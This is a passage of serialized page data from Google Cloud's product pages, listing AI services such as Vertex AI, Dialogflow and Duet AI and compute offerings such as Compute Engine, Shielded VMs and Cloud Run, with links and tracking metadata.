Diffusion, BERT, T-5. \u003c/p\u003e"]],[[null,null,"/vertex-ai/"],{"10000":[[["track-metadata-eventdetail","vertex-ai"],["track-metadata-module","categorization"],["track-metadata-module_headline","vertex ai platform"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCustom ML training\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining models with minimal ML expertise\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTesting, monitoring, and tuning ML models \u003c/p\u003e"]],[null,[null,"\u003cp\u003eDeploying 100+ models including multimodal and foundation models like Palm 2\u003c/p\u003e"]]]]],[null,[[[null,[null,"Vertex AI Notebooks"],[null,"\u003cp\u003eChoose from \u003ca href\u003d\"https://cloud.google.com/colab/docs/introduction\"\u003eColab Enterprise\u003c/a\u003e or \u003ca href\u003d\"https://cloud.google.com/vertex-ai/docs/workbench/\"\u003eVertex AI Workbench\u003c/a\u003e. Access every capability in Vertex AI Platform to work across the entire data science workflow—from data exploration to prototype to production. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/vertex-ai-notebooks"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/vertex-ai-notebooks"],["track-metadata-module","categorization"],["track-metadata-module_headline","vertex ai notebooks"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eData scientist workflows\u003c/p\u003e"]],[null,[null,"\u003cp\u003eRapid prototyping and model development\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDeveloping and deploying AI solutions on Vertex AI with minimal transition\u003c/p\u003e"]]]]],[null,[[[null,[null,"AutoML"],[null,"\u003cp\u003eTrain high-quality custom machine learning models with minimal effort and machine learning expertise.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/automl"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/automl"],["track-metadata-module","categorization"],["track-metadata-module_headline","automl"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBuilding custom machine learning models in minutes with minimal expertise\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining models specific to your business needs\u003c/p\u003e"]]]]]]],[[[null,[null,"Speech, text, and language APIs"]]],[[null,[[[null,[null,"Natural Language AI "],[null,"\u003cp\u003eDerive insights from unstructured text using Google machine learning.\u003ca href\u003d\"https://cloud.google.com/natural-language\"\u003e\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/natural-language"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/natural-language"],["track-metadata-module","categorization"],["track-metadata-module_headline","natural language ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eApplying natural language understanding to apps with the Natural Language API\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining your open ML models to classify, extract, and detect sentiment\u003c/p\u003e"]]]]],[null,[[[null,[null,"Speech-to-Text"],[null,"\u003cp\u003eAccurately convert speech into text using an API powered by Google's AI technologies.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/speech-to-text"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/speech-to-text"],["track-metadata-module","categorization"],["track-metadata-module_headline","speech-to-text"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAutomatic speech recognition\u003c/p\u003e"]],[null,[null,"\u003cp\u003eReal-time transcription\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnhanced phone call models in Google Contact Center AI\u003c/p\u003e"]]]]],[null,[[[null,[null,"Text-to-Speech"],[null,"\u003cp\u003eConvert text into natural-sounding speech using a Google AI powered API. \u003ca href\u003d\"https://cloud.google.com/text-to-speech\"\u003e\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/text-to-speech"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/text-to-speech"],["track-metadata-module","categorization"],["track-metadata-module_headline","text-to-speech"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eImproving customer interactions \u003c/p\u003e"]],[null,[null,"\u003cp\u003eVoice user interface in devices and applications\u003c/p\u003e"]],[null,[null,"\u003cp\u003ePersonalized communication \u003c/p\u003e"]]]]],[null,[[[null,[null,"Translation AI"],[null,"\u003cp\u003eMake your content and apps multilingual with fast, dynamic machine translation.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/translate"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/translate"],["track-metadata-module","categorization"],["track-metadata-module_headline","translation ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eReal-time translation\u003c/p\u003e"]],[null,[null,"\u003cp\u003eCompelling localization of your content\u003c/p\u003e"]],[null,[null,"\u003cp\u003eInternationalizing your products\u003c/p\u003e"]]]]]]],[[[null,[null,"Image and video APIs"]]],[[null,[[[null,[null,"Vision AI"],[null,"\u003cp\u003eDerive insights from your images in the cloud or at the edge with AutoML Vision or use pre-trained Vision API models to detect objects, understand text, and more.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/vision"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/vision"],["track-metadata-module","categorization"],["track-metadata-module_headline","vision ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAccurately predicting and understanding images with ML\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining ML models to classify images by custom labels using AutoML Vision\u003c/p\u003e"]]]]],[null,[[[null,[null,"Video AI"],[null,"\u003cp\u003eEnable powerful content discovery and engaging video experiences.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/video-intelligence"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/video-intelligence"],["track-metadata-module","categorization"],["track-metadata-module_headline","video ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eExtracting rich metadata at the video, shot, or frame level\u003c/p\u003e"]],[null,[null,"\u003cp\u003eCustom entity labels with AutoML Video Intelligence\u003c/p\u003e"]]]]]]],[[[null,[null,"Document and data APIs"]]],[[null,[[[null,[null,"Document AI"],[null,"\u003cp\u003eDocument AI includes pre-trained models for data extraction, \u003ca href\u003d\"https://cloud.google.com/document-ai-workbench/\"\u003eDocument AI Workbench\u003c/a\u003e to create new custom models or uptrain existing ones, and \u003ca href\u003d\"https://cloud.google.com/document-warehouse/docs/overview\"\u003eDocument AI Warehouse\u003c/a\u003e to search and store documents. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/document-ai"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/document-ai"],["track-metadata-module","categorization"],["track-metadata-module_headline","document ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eExtracting, classifying, and splitting data from documents \u003c/p\u003e"]],[null,[null,"\u003cp\u003eReducing manual document processing and minimizing setup costs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGaining insights from document data\u003c/p\u003e"]]]]]]],[[[null,[null,"AI assistance and conversational AI"]]],[[null,[[[null,[null,"Dialogflow"],[null,"\u003cp\u003eConversational AI platform with both intent-based and generative AI LLM capabilities for building natural, rich conversational experiences into mobile and web applications, smart devices, bots, interactive voice response systems, popular messaging platforms and more. Features a visual builder to create, build and manage virtual agents. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/dialogflow"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/dialogflow"],["track-metadata-module","categorization"],["track-metadata-module_headline","dialogflow"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eNatural interactions for complex multi-turn conversations\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBuilding and deploying advanced agents quickly\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnterprise-grade scalability\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBuilding a chatbot based on a website or collection of documents\u003c/p\u003e"]]]]],[null,[[[null,[null,"Contact Center AI"],[null,"\u003cp\u003eTransform your contact center with AI technology (\u003ca href\u003d\"https://cloud.google.com/dialogflow\"\u003eDialogflow CX\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/agent-assist\"\u003eAgent Assist\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/solutions/ccai-insights\"\u003eCCAI Insights\u003c/a\u003e). Increase operational efficiency and personalized customer care. CCAI is both an end-to-end CCaaS solution with its own call center solution (\u003ca href\u003d\"https://cloud.google.com/solutions/contact-center-ai-platform\"\u003eCCAI Platform\u003c/a\u003e) and as set of Google AI services for contact center use cases that can work with 3rd party call center solutions\u003c/p\u003e"]],[[null,null,"https://cloud.google.com"],{"10000":[[["track-metadata-eventdetail","cloud.google.com"],["track-metadata-module","categorization"],["track-metadata-module_headline","contact center ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCreating advanced virtual agents in minutes that smoothly switch between topics\u003c/p\u003e"]],[null,[null,"\u003cp\u003eReal-time, step-by-step assistance for human agents\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMultichannel communications between customers and agents\u003c/p\u003e"]]]]],[null,[[[null,[null,"Duet AI for Google Cloud"],[null,"\u003cp\u003eDuet AI offers code recommendations in real time, suggests full function and code blocks, and identifies vulnerabilities and errors in the code—while suggesting fixes. Assistance can be accessed via a chat interface, Cloud Shell Editor, or Cloud Code IDE extensions for VSCode and JetBrains IDEs. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/duet-ai#section-1"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/duet-ai"],["track-metadata-module","categorization"],["track-metadata-module_headline","duet ai for google cloud"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCode assistance for Go, Java, Javascript, Python, and SQL\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSQL completions, query generation, and summarization using natural language \u003c/p\u003e"]],[null,[null,"\u003cp\u003eSuggestions to structure, modify, or query your data during database migration\u003c/p\u003e"]],[null,[null,"\u003cp\u003eIdentify and troubleshoot errors using natural language\u003c/p\u003e"]]]]]]],[[[null,[null,"AI Infrastructure"]]],[[null,[[[null,[null,"TPUs, GPUs, and CPUs"],[null,"\u003cp\u003eHardware for every type of AI workload from our partners, like NVIDIA, Intel, AMD, Arm and more, We provide customers with the widest range of AI-optimized compute options across \u003ca href\u003d\"https://cloud.google.com/tpu\"\u003eTPUs\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/gpu\"\u003eGPUs,\u003c/a\u003e and \u003ca href\u003d\"https://cloud.google.com/compute\"\u003eCPUs \u003c/a\u003efor training and serving the most data-intensive models. \u003c/p\u003e"]],[[null,null,"/ai-infrastructure/"],{"10000":[[["track-metadata-eventdetail","ai-infrastructure"],["track-metadata-module","categorization"],["track-metadata-module_headline","tpus, gpus, and cpus"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAI Accelerators for every use case from high performance training to inference\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAccelerating specific workloads on your VMs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSpeeding up compute jobs like machine learning and HPC\u003c/p\u003e"]]]]]]],[[[null,[null,"Consulting service"]]],[[null,[[[null,[null,"AI Readiness Program"],[null,"\u003cp\u003eOur AI Readiness Program is a 2-3 week engagement designed to accelerate value realization from your AI efforts. Our experts will work with you to understand your business objectives, benchmark your AI capabilities, and provide tailored recommendations for your needs.\u003c/p\u003e\n\u003cp\u003eSee our entire \u003ca href\u003d\"http://cloud.google.com/consulting\"\u003econsulting portfolio\u003c/a\u003e or \u003ca href\u003d\"https://cloud.google.com/contact?direct\u003dtrue\"\u003econtact sales\u003c/a\u003e to get started. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/consulting/ai-readiness-workshop"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/consulting/ai-readiness-workshop"],["track-metadata-module","categorization"],["track-metadata-module_headline","ai readiness program"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAI value benchmarking and capability assessment\u003c/p\u003e"]],[null,[null,"\u003cp\u003eReadout and recommendations\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAI planning and roadmapping \u003c/p\u003e"]]]]]]]],true],{"10000":[[["track-metadata-module","categorization"]],191704]}],[5,[[[null,[null,"Ready to start building with AI?"]]],[[[null,null,[null,"Unlock the power of AI with tools and services for any level of skills."]],[[null,null,"https://cloud.google.com/contact"],"Contact us",3,{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to start building with ai?"],["track-name","contact us"]],192550]}]],[[null,null,[null,"Gartner names Google Cloud a Leader in the 2023 Magic Quadrant for Cloud AI Developer Services"]],[[null,null,"https://cloud.google.com/resources/gartner-mq-for-cloud-ai-developer-services"],"Download the report",{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/resources/gartner-mq-for-cloud-ai-developer-services"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to start building with ai?"],["track-name","download the report"]]]}]]]],{"10000":[[["track-metadata-module","conversion"]],191696]}],[69,null,null,[[[[null,[null,"Learn from our customers"],[null,"\u003cp\u003eSee how developers and data scientists are using our tools to leverage the power of AI\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/customers"],"See all customers",14,{"10000":[[["track-metadata-eventdetail","cloud.google.com/customers"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","see all customers"]]]}]]],[[[[[null,"Blog post"],[null,"Priceline rolls out new gen AI powered tools to enhance trip planning and improve employee productivity"],[null,"5-min read"]],[[null,null,"https://www.reuters.com/technology/googles-ai-power-virtual-travel-agent-priceline-2023-06-06/"],{"10000":[[["track-metadata-child_headline","priceline rolls out new gen ai powered tools to enhance trip planning and improve employee productivity"],["track-metadata-child_index","1"],["track-metadata-child_total","4"],["track-metadata-eventdetail","www.reuters.com/technology/googles-ai-power-virtual-travel-agent-priceline-2023-06-06"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","priceline rolls out new gen ai powered tools to enhance trip planning and improve employee productivity"]]]}]],[[null,null,"https://lh3.googleusercontent.com/2fC4wKL0MJXi3H4s7ob_4-Rv8AMPYG9u8KRwD1l2lur0SDB_sJRUwfnoxX2VYdEAzRpTT9sTXBqKIQ"],null,null,true,null,null,null,null,[null,"Priceline in blue"]]],[[[[null,"Blog post"],[null,"Orange utilizes AI to tackle a range of projects from retail recommendations to complex wiring jobs"],[null,"5-min read"]],[[null,null,"https://cloud.google.com/blog/products/ai-machine-learning/orange-three-unexpected-lessons-about-ai-in-business"],null,4,{"10000":[[["track-metadata-child_headline","orange utilizes ai to tackle a range of projects from retail recommendations to complex wiring jobs"],["track-metadata-child_index","2"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/blog/products/ai-machine-learning/orange-three-unexpected-lessons-about-ai-in-business"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","orange utilizes ai to tackle a range of projects from retail recommendations to complex wiring jobs"]],192551]}]],[[null,null,"https://lh3.googleusercontent.com/2M-qq__9t4Nyel4PLsmog66Wq_L2jfarq1rcNJhkgrRh5ZkotMa-qzwZh17c977oH19f0NfMpI7g"],null,null,true,null,null,null,null,[null,"Orange logo"]]],[[[[null,"Blog post"],[null,"Christus Muguerza developed a model that can predict 77% of acute pain in patients undergoing surgery"],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/christus-muguerza"],null,14,{"10000":[[["track-metadata-child_headline","christus muguerza developed a model that can predict 77% of acute pain in patients undergoing surgery"],["track-metadata-child_index","3"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/christus-muguerza"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","christus muguerza developed a model that can predict 77% of acute pain in patients undergoing surgery"]]]}]],[[null,null,"https://lh3.googleusercontent.com/4C9hlRFzGsfSCedQsKuEGlQiqHIkez40XBqPXmBeKOi8IEk_R-pQTwztIosH_qZxLIf43MMVZnk"],null,null,true,null,null,null,null,[null,"Christus Muguerza logo"]]],[[[[null,"Case study"],[null,"Wisconsin Department of Workforce Development cleared a backlog of 777,000 claims with the help of Doc AI"],[null,"Video (3:14)"]],[[null,null,"https://www.youtube.com/watch?v\u003drM7fTXpQQog"],null,12,{"10000":[[["track-metadata-child_headline","wisconsin department of workforce development cleared a backlog of 777,000 claims with the help of doc ai"],["track-metadata-child_index","4"],["track-metadata-child_total","4"],["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-metadata-video-id","rm7ftxpqqog"],["track-name","wisconsin department of workforce development cleared a backlog of 777,000 claims with the help of doc ai"]],192559]}]],[[null,null,"https://lh3.googleusercontent.com/p3RLEWv9cKxw7uWUW1oAxZtSwB4PqsydDKtnry-tN5dU8PKUSEjgg8idTr3tW2moIAbGGoTu4icv2Q"],null,null,true,null,null,null,null,[null,"Wisconsin Department of Workforce Development"]]]]],{"10000":[[["track-metadata-module","customer"]],191759]}],[19,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[null,null,[null,"\u003cp\u003eCloud AI products comply with \u003ca href\u003d\"https://cloud.google.com/terms/sla\"\u003eour SLA policies\u003c/a\u003e. They may offer different latency or availability guarantees from other Google Cloud services.\u003c/p\u003e"]]],{"10000":[[["track-metadata-module","legal"]],191709]}],[4,[[[null,[null,"Take the next step"],[null,"Start building on Google Cloud with $300 in free credits and 20+ always free products."]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","get started for free"]],192548]}]],[[[null,[null,"Need help getting started?"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,{"10000":[[["track-metadata-child_headline","need help getting started?"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","contact sales"]],192550]}]],[[null,[null,"Work with a trusted partner"]],[[null,null,"https://cloud.google.com/find-a-partner/"],"Find a partner",15,{"10000":[[["track-metadata-child_headline","work with a trusted partner"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/find-a-partner"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","find a partner"]]]}]],[[null,[null,"Continue browsing"]],[[null,null,"https://cloud.google.com/products/"],"See all products",{"10000":[[["track-metadata-child_headline","continue browsing"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/products"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","see all products"]]]}]]]],{"10000":[[["track-metadata-module","ankle"]],191691]}]],[[null,null,[null,"Learn how to build the next generation of AI applications. Join the \u003ca href\u003d\"https://cloudonair.withgoogle.com/events/summit-applied-ml-summit-23?utm_source\u003dcgc-site\u0026utm_medium\u003det\u0026utm_campaign\u003dFY23-Q4-global-EXP24-onlineevent-er-applied-ml-summit-2023-mc\u0026utm_content\u003dbutterbar\u0026utm_term\u003d-\"\u003eApplied AI Summit\u003c/a\u003e on December 13th."]]],{"10000":[null,191556]}]]]]]],["/products/compute",[[["fte",[[15,["FRtlUUDIibts","US","Cloud Computing Products | Google Cloud","Compute products from Google Cloud. Find the right compute offering for your needs, including VMs, GPUs, dedicated hardware, and more.","Tiered Wayfinding Template"],[[1,null,[[[null,[null,"Google Cloud compute products"],[null,"\u003cp\u003eLaunch and learn pre-configured solutions—developed by Google Cloud experts—to help you deploy load-balanced virtual machines, Java applications, and other compute use cases.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","hero"],["track-metadata-module_headline","google cloud compute products"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/contact"],"Contact sales",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","hero"],["track-metadata-module_headline","google cloud compute products"],["track-name","contact sales"]],192550]}]],null,[]],{"10000":[[["track-metadata-module","hero"]],191692]}],[35,null,null,[null,[[[[null,[null,"Deploy a cluster of load-balanced virtual machines"],[null,"Learn how to quickly create a globally available VM cluster and instantaneously manage traffic with this interactive solution."]],[[null,null,"https://console.cloud.google.com/freetrial"],{"10000":[[["track-metadata-child_headline","deploy a cluster of load-balanced virtual machines"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","featured ctas"],["track-name","deploy a cluster of load-balanced virtual machines"]]]}]]],[[[null,[null,"Deploy a Java application with Compute Engine"],[null,"Learn how to deploy a preconfigured, publicly accessible web application (xWiki) using Compute Engine in this interactive solution."]],[[null,null,"https://console.cloud.google.com/freetrial"],{"10000":[[["track-metadata-child_headline","deploy a java application with compute engine"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","featured ctas"],["track-name","deploy a java application with compute engine"]]]}]]],[[[null,[null,"Migrate your applications to Google Cloud"],[null,"Improve application performance, scale, and security while reducing on-premises costs."]],[[null,null,"https://cloud.google.com/solutions/application-migration"],{"10000":[[["track-metadata-child_headline","migrate your applications to google cloud"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/application-migration"],["track-metadata-module","featured ctas"],["track-name","migrate your applications to google cloud"]]]}]]]]],{"10000":[[["track-metadata-module","featured ctas"]],191725]}],[14,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Explore cloud computing products and services"]]],[[null,[null,"Category"]],[null,[null,"Product"]],[null,[null,"Use cases"]]],[[[[null,[null,"Cloud computing"]]],[[null,[[[null,[null,"Compute Engine"],[null,"\u003cp\u003eHigh-performance and general purpose VMs that integrate easily with other Google Cloud services and scale globally.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/compute "],{"10000":[[["track-metadata-eventdetail","cloud.google.com/compute"],["track-metadata-module","categorization"],["track-metadata-module_headline","compute engine"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eLOB and enterprise apps\u003c/p\u003e"]],[null,[null,"\u003cp\u003eWeb hosting\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDatabases\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMost workloads\u003c/p\u003e"]]]]]]],[[[null,[null,"Migration"]]],[[null,[[[null,[null,"Migrate to Virtual Machines"],[null,"\u003cp\u003eThe fast, flexible, and safe way to migrate applications from on-premises, multiple data centers, or multiple clouds to Google Cloud.\u003c/p\u003e"]],[[null,null,"/migrate/virtual-machines/"],{"10000":[[["track-metadata-eventdetail","migrate/virtual-machines"],["track-metadata-module","categorization"],["track-metadata-module_headline","migrate to virtual machines"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eEfficient migration\u003c/p\u003e"]],[null,[null,"\u003cp\u003eProvisioning and rightsizing\u003c/p\u003e"]],[null,[null,"\u003cp\u003eOn-premises stateful rollback\u003c/p\u003e"]]]]]]],[[[null,[null,"Add-ons and features"]]],[[null,[[[null,[null,"Tau VMs"],[null,"\u003cp\u003eCompute Engine virtual machines optimized for scale-out workloads.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/tau-vm"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/tau-vm"],["track-metadata-module","categorization"],["track-metadata-module_headline","tau vms"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eWeb servers\u003c/p\u003e"]],[null,[null,"\u003cp\u003eContainerized microservices\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMedia transcoding\u003c/p\u003e"]],[null,[null,"\u003cp\u003eLarge scale Java applications\u003c/p\u003e"]]]]],[null,[[[null,[null,"Cloud GPUs"],[null,"\u003cp\u003eHigh-performance, flexibly priced, customizable GPUs for machine learning, scientific computing, and 3D visualization.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/gpu "],{"10000":[[["track-metadata-eventdetail","cloud.google.com/gpu"],["track-metadata-module","categorization"],["track-metadata-module_headline","cloud gpus"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eMachine learning\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMedical analysis\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGraphic visualization\u003c/p\u003e"]],[null,[null,"\u003cp\u003eVideo transcoding\u003c/p\u003e"]]]]],[null,[[[null,[null,"Spot VMs"],[null,"\u003cp\u003eAffordable, short-lived compute instances suitable for batch jobs and fault-tolerant workloads.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/preemptible-vms"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/preemptible-vms"],["track-metadata-module","categorization"],["track-metadata-module_headline","spot vms"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eHadoop and big data\u003c/p\u003e"]],[null,[null,"\u003cp\u003eFinancial modeling\u003c/p\u003e"]],[null,[null,"\u003cp\u003eRendering\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMedia transcoding\u003c/p\u003e"]]]]],[null,[[[null,[null,"Shielded VMs"],[null,"\u003cp\u003eHardened virtual machines to help protect against remote attacks, privilege escalation, and malicious insiders and ensure your workloads are trusted and verifiable.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/shielded-vm"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/shielded-vm"],["track-metadata-module","categorization"],["track-metadata-module_headline","shielded vms"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eDefense against rootkits and bootkits\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnterprise workload protection\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnable \u003ca href\u003d\"https://www.uefi.org/sites/default/files/resources/UEFI_Secure_Boot_in_Modern_Computer_Security_Solutions_2013.pdf\"\u003eUEFI Secure Boot\u003c/a\u003e capability\u003c/p\u003e"]]]]],[null,[[[null,[null,"Sole-tenant nodes"],[null,"\u003cp\u003eDedicated hardware—physical Compute Engine servers dedicated to your workloads—for your compliance, licensing, and management needs.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/sole-tenant-nodes"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/sole-tenant-nodes"],["track-metadata-module","categorization"],["track-metadata-module_headline","sole-tenant nodes"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBring your own license (BYOL)\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDedicated compute for workloads\u003c/p\u003e"]]]]],[null,[[[null,[null,"Confidential Computing"],[null,"\u003cp\u003eConfidential VMs are a breakthrough technology that allow customers to encrypt their sensitive data in the cloud while it’s being processed.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/confidential-computing"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/confidential-computing"],["track-metadata-module","categorization"],["track-metadata-module_headline","confidential computing"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCollaborate while preserving data confidentiality\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEncrypt data in use without making any code changes\u003c/p\u003e"]]]]],[null,[[[null,[null,"Recommender"],[null,"\u003cp\u003eEmpower your team to automatically detect issues like overly permissive access, wrongly sized VM instances, or idle resources with easily actionable recommendations.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/recommender"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/recommender"],["track-metadata-module","categorization"],["track-metadata-module_headline","recommender"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eMachine type recommendations\u003c/p\u003e"]],[null,[null,"\u003cp\u003eCost-optimization recommendations\u003c/p\u003e"]]]]]]],[[[null,[null,"Related products"]]],[[null,[[[null,[null,"Batch"],[null,"\u003cp\u003eFully managed and dynamically scalable batch service to schedule, queue, and execute containerized or script-based batch jobs on Compute Engine.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/batch/"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/batch"],["track-metadata-module","categorization"],["track-metadata-module_headline","batch"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eHPC Workloads\u003c/p\u003e"]],[null,[null,"\u003cp\u003eETL and data processing\u003c/p\u003e"]],[null,[null,"\u003cp\u003eThroughput-oriented tasks\u003c/p\u003e"]]]]],[null,[[[null,[null,"Google Kubernetes Engine"],[null,"\u003cp\u003eA reliable, efficient, and secure way to deploy containerized applications on Kubernetes.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/kubernetes-engine"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/kubernetes-engine"],["track-metadata-module","categorization"],["track-metadata-module_headline","google kubernetes engine"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eSecurely speed up app development\u003c/p\u003e"]],[null,[null,"\u003cp\u003eStreamline operations with release channels\u003c/p\u003e"]],[null,[null,"\u003cp\u003eManage infrastructure with Google SREs\u003c/p\u003e"]]]]],[null,[[[null,[null,"Cloud Run"],[null,"\u003cp\u003eDevelop and deploy highly scalable containerized applications on fully managed Cloud Run or on Cloud Run for Anthos.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/run"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/run"],["track-metadata-module","categorization"],["track-metadata-module_headline","cloud run"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eWeb 